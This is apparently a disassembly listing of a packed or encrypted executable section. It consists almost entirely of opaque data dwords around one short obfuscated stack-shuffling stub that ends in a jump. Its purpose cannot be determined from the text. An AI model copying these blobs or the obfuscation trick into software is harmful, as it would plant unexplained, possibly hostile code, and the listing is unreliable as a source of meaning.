		dd 7AD4CB66h, 2ED3E022h, 6F07E83h, 5F495A6Bh, 1DD4C7D1h
		dd 75B78038h, 231AEDE9h, 0B9531DE5h, 118FDFEBh,	0E3F1D9h
		dd 3F290000h, 0FDF2A1EAh, 244559EDh, 0FD5D8AB2h, 7D677813h
		dd 0F993DD25h, 11F2C141h, 0CBDC7761h, 0F77989E1h, 82757F0Dh
		dd 6A04FDCBh, 210B679Ch, 0B1518F86h, 735725BFh,	5DD91132h
		dd 37h,	9DE63F95h, 76713FEEh, 8495DB27h, 7D55E0D5h, 0FF6A226Fh
		dd 8432A308h, 5AC55D90h, 7C44F170h, 51DBA26Fh, 0EE37905Eh
		dd 828B4A3Fh, 0C12CDD90h, 6F7B27h, 3FB90000h, 0FDF2A1EAh
		dd 244573A5h, 3D957FEAh, 5911ABC5h, 4A18C7A9h, 14EFBD9Dh
		dd 8E0D675Eh, 28998C32h, 0FAB1A434h, 0A89FBB2Ch, 3ED8986Ah
		dd 41F0398Eh, 88F1824Ch, 6FF272Ah, 0BDA48B70h, 69DB9EF7h
		dd 0EC166E58h, 0FB07D584h, 0F9F08B75h, 0E011B9Fh, 0F3A2EB40h
		dd 7A75D0FEh, 0D0DFC424h, 65543375h, 447D6F97h,	0C1D2E00Fh
		dd 53ED58CAh, 0A1EA3F81h, 907543F2h, 448AEFE6h,	0E5245EE3h
		dd 0A857907Ah, 0A11B82B3h, 0D3CA3528h, 69036D95h, 701F51B1h
		dd 0F035AB8Bh, 836857D1h, 42838008h, 8CE6DDF4h,	2193100Dh
		dd 6E61037Dh, 6C066A98h, 38224EB4h, 685226E0h, 1D7CAE4h
		dd 59DCD101h, 5E751D8Dh, 0AF48E2F3h, 654F21E1h,	6D95D3CAh
		dd 31E01903h, 1D8CF93Ch, 5C53BE75h, 32Ah, 0D62E6800h, 0C1ABB137h
		dd 0EDD79969h, 1E085295h, 4D373FC6h, 7B650FF5h,	0A993E123h
		dd 0D9C3B551h, 6F08281h, 311B53AEh, 4EC8316h, 89240489h
		dd 405E0h, 0E8830000h, 24048704h, 0E189515Ch, 4C181h, 0E9810000h
		dd 4, 5C240C87h, 68240489h, 7554h, 81242C89h, 4ECh, 242C8900h
		dd 8609C8BDh, 6DED8106h, 0F72C1D0Bh, 73ED81D5h,	817FA401h
		dd 0C1610AEDh, 5DE8899Fh, 242C8B54h, 8104C483h,	4ECh, 24048900h
		dd 8B08458Fh, 8951242Ch, 4C181E1h, 83000000h, 0C8704C1h
		dd 34FF5C24h, 0C4815824h, 4, 0F8DA29E9h, 69A70DFFh, 0DDA6CD3Fh
		dd 0FB34338Dh, 373BB1Fh, 31A375B8h, 0FFC50306h,	7F3A10E0h
		dd 4484ED7Ah, 4DCD2D1Bh, 683E9E68h, 988BD828h, 0AA14D56Fh
		dd 0DD24BC23h, 1EAC414Eh, 9E9BC706h, 0B7103E71h, 0B25C6F46h
		dd 0FDC1E76Dh, 0E08E0070h, 1B1A2322h, 83F5373Ch, 48C6B81Ah
		dd 1197815h, 0FF993852h, 0D7806136h, 7A63DF5Eh,	3CC1B742h
		dd 0EDB255Dh, 2235BD5Ch, 0C88EDE04h, 0CB140712h, 0D10FE3Ch
		dd 0AF265527h, 27E9F137h, 1D167A21h, 750D6A1Dh,	56AC9B7Bh
		dd 0FE2A0032h, 5E83Ah, 6B950000h, 0F7575B6h, 0E8Eh, 9E900h
		dd 0BE160000h, 0D24F7EFFh, 59CFEB56h, 98B523BFh, 0C3C18150h
		dd 0F00006Fh, 58Eh, 0F2816600h,	0D368FCCEh, 0F800001Bh
		dd 0BF198B58h, 2D493C5Ch, 0C0D7C381h, 0F3810A7Bh, 7FE7451Bh
		dd 81F6B70Fh, 602389EBh, 5398B63Bh, 0BE9h, 0E8224500h
		dd 0B4EA040Fh, 143BF9A3h, 0E983018Fh, 0FEB70F03h, 0F28B6649h
		dd 0F01E883h, 0FFFFBC85h, 1FE9FFh, 5DF70000h, 1DADh, 6 dup(0)
		dd 0E36E900h, 69680000h, 0E90631A7h, 0FFF8D8DEh, 31A86D68h
		dd 0D8D4E906h, 5C68FFF8h, 0E90631A9h, 0FFF8D8CAh, 31A9F268h
		dd 0D8C0E906h, 3D68FFF8h, 0E90631ADh, 0FFF8D8B6h, 31B0A868h
		dd 0D8ACE906h, 0E768FFF8h, 0E90631B1h, 0FFF8D8A2h, 892339AFh
		dd 0A43E30D1h, 0C15B17ECh, 0E17BFD09h, 0FF99DB29h, 2FD55923h
		dd 12F3AB45h, 0D512CA64h, 0CF33EB85h, 82107A1h,	0A1222213h
		dd 69009528h, 3834669Bh, 7D03B59Bh, 2AC5AFC0h, 0CD37DB33h
		dd 9F84BDA7h, 54B786CCh, 42A573A5h, 4E32118h, 2DD9A756h
		dd 0CFC6614Bh, 77C015C5h, 756A19C8h, 227047C0h,	9A9CDA2Bh
		dd 0EFD3382Fh, 0B024461Bh, 5DDC5B45h, 96289A64h, 0C119036Bh
		dd 94A19626h, 2B289A64h, 37C5AFC0h, 9D643A2Dh, 3B4CE7D1h
		dd 966D3B6Ah, 6057F2DCh, 69614D40h, 67D911F1h, 37h, 0A1EA3F9Fh
		dd 4F79FDF2h, 0D33E2445h, 0AECF6AE9h, 0E1242899h, 0AF3302F7h
		dd 19842899h, 3BC61E08h, 0D6A06533h, 1E11A1ECh,	11043405h
		dd 113FA525h, 112BD9h, 43630000h, 918h,	1F160BBAh, 0A0226F7Dh
		dd 37E63E35h, 82BBA5CBh, 39234FB4h, 9969A79Eh, 388D3DD7h
		dd 1F4B40EFh, 0A0244559h, 56ABF161h, 0BCCD8138h, 0F5EA99D2h
		dd 289A6B40h, 0D616D794h, 9799FC6Ch, 69D0352Ch,	87289A11h
		dd 52786457h, 7ED9119Eh, 4Ch, 0A1EA3FB6h, 727543F2h, 268CF1E8h
		dd 8B244557h, 82B73620h, 712899A7h, 9EF6E092h, 0A2261068h
		dd 0AB7C9588h, 5FBD977Ch, 49A67CB6h, 533F3252h,	0D911F577h
		dd 0B659h, 6C1BCA00h, 9A58BE77h, 0A1960128h, 289A5994h
		dd 71C9C02Bh, 0BBA5CB37h, 0E9D3A163h, 15FF7191h, 796E45BDh
		dd 5736D0E1h, 226F7882h, 30DF9171h, 0EA95F14Bh,	9188F865h
		dd 3D33CF87h, 65AE0353h, 0F3F1C1B6h, 3C212445h,	1013CFAAh
		dd 0DF8F726Eh, 0FA65D7CEh, 125BB060h, 0C8E46E63h, 759D2A6Dh
		dd 5FFAE48Eh, 33D19F4Eh, 15EFA741h, 431B595Fh, 0D42E6465h
		dd 0B4888h, 421ACE00h, 5D11F0A8h, 7AF80BC3h, 9ADE28E0h
		dd 0B8BC4800h, 0F478421Eh, 12CA6410h, 31E983F3h, 520AA4B6h
		dd 4026C0B0h, 24033227h, 1FB428A1h, 0A7CD374Fh,	0C3AD550Dh
		dd 0B4BC4614h, 56E1B3BDh, 0B8A96F71h, 0A49BD7EEh, 21D0196Eh
		dd 34B87D72h, 94FF2270h, 29897E9Dh, 0D924460Fh,	0F00352Ah
		dd 4CB7289Ah, 8E78E355h, 9A0F2A0Fh, 0A396C628h,	11A013B7h
		dd 0D0BDD9h, 56F50000h,	11FB5F88h, 0C1417F76h, 0B53200AFh
		dd 2920BBA5h, 0E78D77CFh, 795B7EFDh, 0EA18226Fh, 0F809D786h
		dd 0BD757F76h, 0F1412B45h, 46C969Ch, 634F44F3h,	5C24455Fh
		dd 0B8A2CE34h, 0D9720C1Dh, 0BFDB6EF4h, 0AEA5F8F2h, 2BDA2378h
		dd 0E5CFA95Dh, 0EC887C4Ah, 51706702h, 6E3C055Ch, 0A1628A2Ah
		dd 9C86F214h, 6B06F001h, 38C6AB5Ah, 0E7CB998Bh,	9C6A8980h
		dd 0D9720C68h, 907AF80Bh, 44C0FEF5h, 11542A30h,	9BF56465h
		dd 0A444Fh, 3E1ECA00h, 5915ECA4h, 76FC07BFh, 96E224DCh
		dd 0B4C044FCh, 0F0743E1Ah, 0EC66014h, 2DE57FF7h, 4E06A0BAh
		dd 3C22BCB4h, 25072E23h, 23B828A1h, 62715653h, 0FD46C516h
		dd 0FE0F63A0h, 393BC907h, 551BE79Fh, 0CB37E9BBh, 0AD11F6A5h
		dd 48E7FA80h, 0C9AD5826h, 0F34D44DFh, 5915ECBAh, 85EB176Fh
		dd 0F8EF009Bh, 8E2848BAh, 64B9F5B5h, 649E6C1Bh,	1F6150Ch
		dd 2445A1F1h, 0E550454Eh, 0DA2899DDh, 0E1AF5E6Fh, 0CA654F21h
		dd 1BC5AAD3h, 0EF91D4AEh, 0D266DE0Ah, 985D4232h, 0BA996788h
		dd 650FA87Ah, 0D2275D54h, 0DE5DA89h, 0B2D434BFh, 0B80D5D47h
		dd 4311C06Fh, 2CC7B1BFh, 0E1CBA35Eh, 0A8EA4F46h, 0C9CE083Fh
		dd 240E60A1h, 50E5DA89h, 67D25840h, 6E3CEBFCh, 7E2DDC94h
		dd 5840AC89h, 0B1A813D2h, 5D13EFA7h, 474C3157h,	72BE1814h
		dd 955h, 0B54F0DDBh, 0D06A04FDh, 0ED87EB18h, 0DA7D135h
		dd 2BC5AF55h, 301854Fh,	0E61FD771h, 0A93EF690h,	0A35F17B1h
		dd 344D33CDh, 0A125F63Fh, 6434C928h, 0BBA5CB37h, 1ECD166Bh
		dd 457CD529h, 8F729A24h, 511FCEDFh, 4312696h, 0BB28997Dh
		dd 89ACA150h, 2E28997Dh, 6018B2C3h, 6AE9D387h, 28997CCBh
		dd 996D40F9h, 7F66BB28h, 998DAB8Ah, 90A10C28h, 6F62ECE1h
		dd 9C072A6Fh, 0F4A85AB2h, 0E103282Ah, 0AC3EAABAh, 0C07B8F9Bh
		dd 0FA989EAFh, 4F645F7Ch, 8BFA9F5h, 0A3450000h,	9A671FB9h
		dd 81823AD4h, 679F57F1h, 45BF7711h, 0EFB9952Fh,	41DB996Bh
		dd 60FA7C89h, 811B3FA8h, 9D3739C9h, 8CA99EB7h, 3328A126h
		dd 8856CE9Eh, 0C9FFF67Ah, 0E1796E74h, 9C4B5CF7h, 0EC493EEDh
		dd 0F0226F7Ch, 40226D43h, 0F05B5DDCh, 12BA94F9h, 147F2446h
		dd 4C6F9765h, 35D0BAB6h, 31CB3A24h, 0ED3DAA65h,	0E685F70h
		dd 89234BB6h, 543E30D1h, 8E59361Bh, 7F1F4A58h, 0AFF85288h
		dd 0CCF20B00h, 4AB52899h, 0CFC2DC60h, 0CC6608F9h, 1AA16533h
		dd 907A8BEBh, 0A099FEF5h, 5B2899CDh, 3B09B801h,	95B4ABC9h
		dd 99CD71A0h, 0FB7C6128h, 50F0429Ch, 0D944B6ADh, 0F47A873Fh
		dd 9B368B0Ah, 0D42D2899h, 658B6CC6h, 506131C2h,	7BF30E66h
		dd 0DCCF7191h, 0E2B0C9C3h, 3D5D5424h, 0E18D744Ah, 0FC728F47h
		dd 8CA99E4Dh, 672899DBh, 53EED89Eh, 0E918E651h,	9009B85h
		dd 0DB3930AFh, 0D4EE2899h, 78F60BE1h, 8BD42EDEh, 74482DDCh
		dd 2AD961A6h, 642B112Eh, 0EC742B7Fh, 98AA90F5h,	0AC172899h
		dd 35EF18FDh, 5C0FABC6h, 99DBCE67h, 7586F128h, 0ADA5247Eh
		dd 835C3878h, 56746053h, 7A453245h, 1A2h, 8EE81DEBh, 71563F97h
		dd 0A6542213h, 2E645B33h, 0ECE190D9h, 2445A4AEh, 0EBB968D3h
		dd 0D6715B19h, 10F2C0DFh, 5F2DC660h, 9BD9D0A6h,	0BAB64C67h
		dd 9D6735D0h, 5DDCC6D7h, 0AB53FFFEh, 0C2988B2Dh, 0E6747340h
		dd 7F833BD5h, 1FCE07F1h, 0DC000B2Ah, 4A41ACA3h,	0D771BA14h
		dd 0A791E71Fh, 23BDB34Fh, 0CB1C976Bh, 1CF7E8Fh,	0EE897305h
		dd 0CD1E9DF7h, 0E2D2524Ch, 8B774D40h, 6F934BE5h, 0A0B1BD44h
		dd 0C30C66B6h, 0B3161F14h, 2EFC1655h, 2A0B00D6h, 8D1655B3h
		dd 6D621122h, 1655B2C8h, 1B8D84EFh, 0A65E16B0h,	0C6ABE4CEh
		dd 0E88F2242h, 62988FE4h, 0B3000208h, 9F3A2452h, 0F809A48Eh
		dd 36CC9A49h, 0BEB5503Ah, 5627D859h, 0D26CD716h, 5FB4E81Ah
		dd 0F66E4E25h, 348C7687h, 27F5A4D0h, 3CAB95DBh,	59B2C04Bh
		dd 1C13244Fh, 0D8986AC2h, 46C96EEh, 6558FA1Ah, 4538524Ch
		dd 43DD936Fh, 4C28DCAAh, 92D0C762h, 0C6160070h,	7F74236Ch
		dd 1655BCAEh, 46C9664h,	16887F1Ah, 0DFF014D7h, 966FDFEBh
		dd 4A5BF6E0h, 1BE79F39h, 1C1A655h, 0D46C641h, 0ED056E8Bh
		dd 0F1024231h, 9F48A0FAh, 57AE03FEh, 899A351Fh,	0D8628E78h
		dd 7DF30FE5h, 16654AE3h, 60CAF9A5h, 0D50E9EADh,	5B419EF0h
		dd 11FB758Dh, 0C1417F76h, 1B75C5AFh, 8F7423D2h,	0A4FE70A5h
		dd 157A713Fh, 1655CC14h, 0CE86208Bh, 1E574119h,	0D8C2B650h
		dd 0B610463Dh, 575E7799h, 43DEC8AEh, 3EF0975Eh,	0CDDE9270h
		dd 0FBFC291Eh, 58C31655h, 0CB37ECBEh, 65B0BA5h,	0F9190EBDh
		dd 0B6244550h, 19CE9C4Bh, 0F8EFA741h, 0A966CFC4h, 0EE592899h
		dd 4EA3F3DDh, 0C2A75605h, 0C4C09549h, 0B3827745h, 42899A6h
		dd 2C918899h, 2A6FA5D2h, 0EF463BEAh, 0D0226FA5h, 91FC6E65h
		dd 961128A7h, 95EA226Fh, 0A6A89D4Ch, 4B244598h,	649EF6E0h
		dd 0A396060Ch, 59B36A88h, 5740Dh
		dd 6EEEFA00h, 89E51CD4h, 0A6CC37EFh, 0C6B2540Ch, 0E490742Ch
		dd 20A46E4Ah, 3EF690E4h, 5D15AFC7h, 7E36D08Ah, 6C52EC84h
		dd 29D75E53h, 53E828A1h, 79885683h, 8B700BF5h, 593A3961h
		dd 477D748Ch, 4BFAA9F2h, 705FDF56h, 0F73E3322h,	0C822705Fh
		dd 0BF05B5Dh, 0EFD1568Ah, 0F6150C72h, 0D0816247h, 0CF0F1AC8h
		dd 0A9B373D8h, 0A5E42445h, 0DA077B88h, 927C8D12h, 99D92713h
		dd 0A699C928h, 917240EFh, 675CF7E1h, 2899D8CEh,	42F3E8F1h
		dd 752899D9h, 0AE02F90Ah, 0D911661Ch, 0BBB4h, 8856EC00h
		dd 9C01F87Ch, 226F7D6Dh, 0CB37DF23h, 25B0BA5h, 18150AB9h
		dd 9F226F7Dh, 10F24A34h, 0BD16C660h, 5DD0C574h,	0B5226F7Dh
		dd 7D241106h, 309B226Fh, 725CC739h, 0EE88E81Ah,	25DFE53Eh
		dd 7D79BCB1h, 0D33E226Fh, 5302B1C2h, 3718BFA4h,	0CC9123EBh
		dd 705C5ED7h, 0FFF66122h, 705C7F9Ah, 0EFE49322h, 22705C46h
		dd 0A5170E79h, 0A021B166h, 91AD77Fh, 0D499A01Fh, 142E226Fh
		dd 0B1FA5321h, 540C0D02h, 38062270h, 40B2A9CDh,	53F34237h
		dd 59C42270h, 3BEA9948h, 7053EF46h, 7065D022h, 227053C5h
		dd 42C18FFAh, 0B4AB4630h, 5D2C11AAh, 9CF240E4h,	0ED7EB0A7h
		dd 0BC000000h, 3E4EA3Fh, 0A2974657h, 24455FACh,	4232D2A0h
		dd 846ED94Bh, 31887D4Bh, 1AB59FD1h, 8D841F09h, 11C0B64Fh
		dd 9EC86D62h, 0C7EF2899h, 0B5503A20h, 0AA3ADA4h, 9ECF665Bh
		dd 0B1F02899h, 19657082h, 0C2B9CA40h, 3EED368Ch, 0E1239470h
		dd 0DED38293h, 2899CC57h, 0E706FD68h, 99CC3FF2h, 0FE05D328h
		dd 0F8EF8A74h, 0B2311B86h, 0E3BAD30Eh, 8B750303h, 0B6A0CE33h
		dd 122B1E28h, 321E1141h, 0CCBCB998h, 6738h, 88567000h
		dd 700BF579h, 0A4ED4379h, 7D3500F5h, 1F8A226Fh,	4E28DD35h
		dd 4416D19Fh, 0BEC8BF5Ah, 4FB2B80Eh, 0B05F0E1Fh, 7D290C01h
		dd 858E226Fh, 6F7DA590h, 9EAF1A22h, 7D2742A7h, 2D98226Fh
		dd 8D5B0A43h, 2F06FB75h, 90226F7Dh, 70C92E25h, 57226F3Dh
		dd 267C4A3Dh, 30392EDDh, 0EF226FBDh, 8351EA84h,	0A3FBF280h
		dd 11677156h, 158DE6C0h, 705F1520h, 2E3FAA22h, 6709F937h
		dd 93DD257Dh, 0ABF449F9h, 0A7684DFCh, 8DA6EEEh,	0ABBF241Bh
		dd 142445C0h, 7D4BFAA9h, 6500EA84h, 99BFC570h, 0AA8FFA28h
		dd 36E972F0h, 0A4FEF599h, 9A731425h, 0B9ACDC28h, 11FFFDCDh
		dd 0DF7C5D9h, 3A5F7067h, 97000000h, 0F2A1EA3Fh,	0E28C7543h
		dd 572C86EBh, 46852445h, 5BA16030h, 0A3622C8Eh,	8B282A0Fh
		dd 0B7853445h, 0A5402A30h, 64D554AEh, 8C289981h, 4D7D695Ch
		dd 83D91112h, 0E5h, 0E8CB37BBh,	0D6715BFFh, 8183DBC5h
		dd 51B109F3h, 25DD351Fh, 31FF778Eh, 19B49ED0h, 4A8F6E08h
		dd 29226F79h, 7033C3D9h, 38FF5498h, 21BCA6CAh, 0CC65FF10h
		dd 797008FEh, 84D5C73Bh, 0BF876BD5h, 4D20150Ah,	2C972270h
		dd 0D0200A1Bh, 0D483327Bh, 7C73FB06h, 46372317h, 97319C24h
		dd 9A4992E7h, 6E9244A5h, 21694E2Ah, 6C8F6FEh, 1E54AF7Dh
		dd 9B4AB527h, 8E3D37CDh, 54BEADFh, 61A02276h, 0A9A00B0Dh
		dd 571DE79Fh, 65115551h, 4E9AF464h, 209h, 6903598Fh, 841E50B1h
		dd 0A13B37CCh, 0C15B1DE9h, 0DF79FB09h, 4FB53903h, 32D38B25h
		dd 0F5F2AA44h, 0EF13CB65h, 0E801E781h, 0A12D42F3h, 10E07528h
		dd 3B09CD37h, 7FB6ABC9h, 40226F7Dh, 912AC4D5h, 39303EC3h
		dd 0D6CB07FBh, 226F7D5Fh, 4AE4F560h, 7B885678h,	7B720DF7h
		dd 54D3F045h, 0C2569773h, 3C31E0F1h, 24460376h,	7221D03Bh
		dd 9A03B87Dh, 9D94FF28h, 8D5B0A43h, 7611FB75h, 9A04B481h
		dd 0A9A00B28h, 9A03F544h, 0D8CBFB28h, 0B87D7221h, 52289A03h
		dd 9A03D85Dh, 7274DF28h, 0A9BABA4Ah, 946C5EB2h,	8856D911h
		dd 740FF97Dh, 0C66C7Dh,	37A40000h, 11F6A5CBh, 0F0AC51BBh
		dd 72E239Ah, 0B8227072h, 0EB453C4Dh, 19037193h,	6313FBE0h
		dd 2B02FE68h, 0E60ACF34h, 19E9226Fh, 0F3C3A857h, 3A08D8A6h
		dd 8C0CAC1h, 3C8C76FAh,	40EF9EE7h, 0E9E09072h, 459DB684h
		dd 6A00B24h, 9B80156h, 6DF13614h, 0E08F3E2Ah, 76114AEBh
		dd 0D026D22h, 22761128h, 0A491868Fh, 1B227611h,	36A89FB0h
		dd 9F6D1CCBh, 0DD1B1248h, 0FE729027h, 0CE687914h, 8086EE16h
		dd 64651D30h, 0CA73BF19h, 50000000h, 722AC498h,	8D45DF8Fh
		dd 0AA62FC76h, 0CA821C5Ch, 0C4A03A3Ah, 0E68E76FAh, 571944Ch
		dd 2634B36Bh, 422ED48Ch, 0B4A9C2A8h, 28A12E81h,	37D1A136h
		dd 550DA7CDh, 5729C3ADh, 0BBA5CB37h, 91FD9F63h,	4874EE8Ch
		dd 6616B0C1h, 6A19C811h, 3B09659Ch, 52B7AEACh, 245F01CDh
		dd 217963CEh, 0E594BBE1h, 0C8021F67h, 62308B7h,	0FC308504h
		dd 59F2FCF3h, 0FD326674h, 0A0BA2D08h, 42279228h, 5A51BB8Ch
		dd 0A08AE61Ch, 25671221h, 0B222E140h, 1CB778BDh, 0C3D43F40h
		dd 0F38581D9h, 6053DD09h, 1C0FB147h, 1AB4BC46h,	0E6D0A062h
		dd 1600788Eh, 0AF857892h, 0CB831D53h, 164F3937h, 7FDBE48h
		dd 0D7E8836Dh, 3AEE0h, 2EEC0000h, 0ABB137D6h, 0D79969C1h
		dd 85295EDh, 373FC61Eh,	650FF54Dh, 93E1237Bh, 0C3B551A9h
		dd 0F08281D9h, 1B53AE06h, 89511631h, 4C181E1h, 83000000h
		dd 0C3304E9h, 240C3124h, 5C240C33h, 81E68956h, 4C6h, 4EE8100h
		dd 87000000h, 895C2434h, 4368242Ch, 89000017h, 53562404h
		dd 873D3668h, 0F3815B49h, 7F1C723Eh, 0BD5BDE89h, 3CCCF490h
		dd 835EF529h, 248904ECh, 24048124h, 4, 0B9515558h, 69C33835h
		dd 4244C29h, 8408F59h, 35084081h, 0FF69C338h, 81582434h
		dd 4C4h, 242C8B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_553B9E
; ---------------------------------------------------------------------------
		dd 19406561h, 23C32A93h, 0FB039008h, 31B2D6B8h,	0FFC50306h
		dd 388EB1E0h, 3F4CE05Ch, 272AF333h, 2DD6E470h, 8BC2A739h
		dd 8558962Ch, 93261D43h, 0F2C3B357h, 0F4681A0Ah, 585E1902h
		dd 2E31D53Ah, 0CA5BC31Dh, 916B47Bh, 0A6CF1A03h,	0B8337434h
		dd 0A16E7B77h, 3963A92Bh, 4538AC3Dh, 11823F27h,	2EC05648h
		dd 32C5BE70h, 0D68C3F39h, 6D9E0845h, 0BABDEC58h, 9D8AF75Ah
		dd 4E2F914Ch, 0E0C38F53h, 1B62E424h, 10E6834Eh,	173EDC6Dh
		dd 4C87CA60h, 7E838h, 3C3E0000h, 75E3E931h, 0FE970h, 285F0000h
		dd 18DB7AF8h, 4A75DD9Eh, 8985BCF9h, 0D5805AD2h,	36C281E3h
		dd 8A0000E2h, 3861BFDCh, 0BF0F0000h, 8B028BCAh,	97E881CEh
		dd 81723A47h, 734CACCBh, 7FE88106h, 0E92423E1h,	0Fh, 0C41F7E4Fh
		dd 0D7C8F6CFh, 61CB1B49h, 81001A28h, 0CF1640C0h, 0E981660Fh
		dd 0BB50AE91h, 19813EE4h, 0EA83028Fh, 0D6814A03h, 1A4B6C5Dh
		dd 1EF81h, 850F0000h, 0Dh, 2DE90BB3h, 1B000000h, 0F32EED43h
		dd 0D880605Ah, 0E1B86055h, 8B665192h, 0E96161C2h, 0FFFFFF8Dh
		dd 0FF2529D5h, 0F755AC9Fh, 0B00BE280h, 0E2B3E57Bh, 0D3603A8Ch
		dd 11E8h, 0BBA82600h, 0EB2D285Ah, 0B3F12C3Ch, 0B21E254Eh
		dd 5E9573Bh, 11000000h,	72DD1DD0h, 0F681665Fh, 0C7819CD8h
		dd 5CD6h, 39BB64B1h, 8142DDCAh,	0DDDD31F3h, 0BE942h, 649C0000h
		dd 9BE62A0Ch, 126ADB9Ch, 0B9078B2Dh, 8F864B7h, 1242E881h
		dd 6DBA5501h, 81641AA5h, 65BE4F0h, 6E95314h, 13000000h
		dd 0B365D24Ch, 0C0815962h, 24CD3154h, 0D4805360h, 0CE815E29h
		dd 1A9B7E70h, 7E95061h,	1A000000h, 955FADE2h, 78F3BC0h
		dd 8359F852h, 860F04EFh, 0Ah, 5E9h, 2DACB700h, 0EB830707h
		dd 9A850F01h, 0E9FFFFFFh, 0Bh, 130FCD1Eh, 1C211EB2h, 8D70E46Eh
		dd 31B5FC8Dh, 0FD850306h, 89062A06h, 2A33958Dh,	95895106h
		dd 62A2D69h, 0F985C75Bh, 74062A0Bh, 60000064h, 0D85858Bh
		dd 0F51062Ah, 84h, 0C7615800h, 2A06C585h, 6, 0E935B300h
		dd 5, 0CAAE0522h, 0E1B5FF12h, 89062A28h, 2A0BFDB5h, 0C195FF06h
		dd 0F062A05h, 1C81h, 16890F00h,	0E9000000h, 11h, 3548DDC3h
		dd 3FD611EEh, 30C95BD0h, 0C8DB0A67h, 0FF006A02h, 2A343995h
		dd 0EBC08B06h, 7119BE7Ch, 8E8C9684h, 83A40867h,	0A88DF01Ch
		dd 3ECCD5E8h, 15B93C86h, 2A986529h, 0B4FD50DAh,	8739316Ch
		dd 0A9290181h, 5C8F9992h, 939FCC64h, 0BAB06490h, 80A58E3Ah
		dd 0E998EA40h, 1A6EFA14h, 0E74A6356h, 7CDC3DF5h, 83433136h
		dd 73D6BD6Dh, 5FA3324Ch, 4288EC8Bh, 3733B681h, 51640F48h
		dd 141D9115h, 2608290Eh, 671AD93Ch, 23A9A814h, 961EA16Eh
		dd 9DF891F6h, 0CD3A306h, 0ECE96Bh, 0
		dd 0AC370000h, 5CEB77E7h, 3C4977E7h, 0E21F77E7h, 0E30077F7h
		dd 77F7h, 277E6h, 5 dup(0)
		dd 0A5FD0000h, 77E7h, 2Bh dup(0)
		dd 60000h, 8AC50000h, 66223211h, 0E735369Ch, 72561611h
		dd 4B1C07B8h, 538F26CBh, 37ACB1EDh, 668E1831h, 0DBC73B60h
		dd 6008189Ch, 36084615h, 0DE48B946h, 66443604h,	41ABB79Ch
		dd 0FB9C343Fh, 60A4897Ch, 3E1FE1EAh, 4CAB8F96h,	1211343Fh
		dd 0DEDB6202h, 66443604h, 41ABB79Ch, 0FB9C343Fh, 60A48A4Dh
		dd 3E1FE1EAh, 6623B81Ah, 69ED3215h, 6688339Fh, 502CCA15h
		dd 0EF22325Ch, 8F491611h, 66883205h, 0DAA9D72h,	3E9D02E4h
		dd 4488FD18h, 99BEA0E1h, 0D0DA8F96h, 69223424h,	66117F91h
		dd 0D9875215h, 4F88B2C4h, 55A7BF74h, 9F170388h,	0EB71E2EAh
		dd 57D95190h, 0B6DDCE13h, 661EDB75h, 0E99B3215h, 0CC3BD3A3h
		dd 50E06B53h, 0D92CE43Ah, 6698DB9Ah, 585C3215h,	9344F82Fh
		dd 725FD263h, 0D44EB6B4h, 6925DA66h, 66223391h,	0E3D7CE15h
		dd 60A215DCh, 67CE3D43h, 9F223215h, 0CEA9607Dh,	669CDB89h
		dd 0F44A3215h, 0D827806Dh, 0B7457FF9h, 0C7E2DAC2h, 474F4B17h
		dd 0D3DD4B92h, 603B10DCh, 6689B61Ah, 0EBBC3215h, 4BA39B90h
		dd 0E7775213h, 0DC1CD2C7h, 5524749Fh, 6624DB74h, 0DDB13215h
		dd 0C83AB187h, 0EFBDE2EAh, 4C011B90h, 671C713h,	154F89EDh
		dd 9F253738h, 1FA7F574h, 6617181Eh, 6883215h, 5DB5E394h
		dd 87A36072h, 11E12199h, 0AF0DF474h, 23421832h,	2CE3B375h
		dd 0E63DF30Bh, 9FE933E0h, 142D5B7Dh, 61A73D9Bh,	6113215h
		dd 0B941B373h, 0D3BB5318h, 60081108h, 0D994BFE0h, 8F8E182Eh
		dd 66443212h, 4D1F9871h, 99A15DA4h, 669BDBC5h, 0F35A3215h
		dd 4B67D12Ch, 1EBED393h, 0F572A1BCh, 0D9969C08h, 0AFA7BB1Fh
		dd 6171826h, 0DC778D1Ah, 6690D2A9h, 0AFA7F474h,	25171832h
		dd 668834FCh, 28280915h, 0E66F33Dh, 0FA76594Bh,	0D377CBE9h
		dd 606E1108h, 662FB21Ah, 6EF83215h, 0E4883215h,	5C8B6A34h
		dd 0EB886754h, 4C2A8D90h, 6E073D13h, 69443215h,	66223095h
		dd 99705215h, 69043DC5h, 8F443215h, 6622321Fh, 119ABA6Eh
		dd 0C23E3A0Ch, 0E3CD2174h, 60138493h, 661135FCh, 76473C15h
		dd 5CB52724h, 41EBB7D3h, 8F45343Fh, 6688321Fh, 0BE0F5158h
		dd 2FDEA6Dh, 4F79D834h,	666507Dh, 7BCC09Eh, 453F87EAh
		dd 0DD71343Fh, 2B9B1269h, 67CE3D74h, 9E223215h,	5DAEB798h
		dd 8FE8343Fh, 66443204h, 9AA83B9Ah, 0B18D0502h,	5B190798h
		dd 1240B355h, 0B6DD5328h, 0EC94BBE9h, 698E03A3h, 66442693h
		dd 0EE2D5215h, 66113215h, 668835FCh, 34208815h,	0D5B90EAh
		dd 661CDB74h, 0FF5A3215h, 0FBE8F55Ah, 0B7632C47h, 0A02393AFh
		dd 4CAFFB90h, 247713h, 0D174C39Eh, 0E706A58h, 0BCE80AD7h
		dd 664423FCh, 0C0EC2715h, 66F97FCDh, 706E3D4Fh,	979A2D2Dh
		dd 0D3DDDC18h, 603B1108h, 668823FCh, 84436015h,	41D7438Dh
		dd 3ED22B05h, 90757884h, 0E3C9B43Bh, 600809AAh,	661126FCh
		dd 0CDF98415h, 9975284Eh, 7D764D1Eh, 97360E01h,	0CA3E32A1h
		dd 6994CDB7h, 66223C97h, 6618DB15h, 69DA3215h, 0BF36E77Bh
		dd 0EFCB4695h, 57A7BC90h, 6A003D13h, 69443215h,	66223490h
		dd 669B3D15h, 0E5883215h, 4C7027A8h, 0E32D3213h, 66113317h
		dd 0E7EECE75h, 722EFCAh, 41EBB7D3h, 654343Fh, 0E853E0h
		dd 0EDE892AFh, 0E04A53EFh, 69EB126Bh, 6688219Ah, 0EC4B5215h
		dd 66223215h, 661134FCh, 0D7914C15h, 71436F8h, 453F87EAh
		dd 0EBE4343Fh, 4CB38D90h, 0B6BBC713h, 66223CFCh, 0F747EA15h
		dd 3387AD4Dh, 7E750F5Dh, 93501231h, 0D083B79Ch,	6703424h
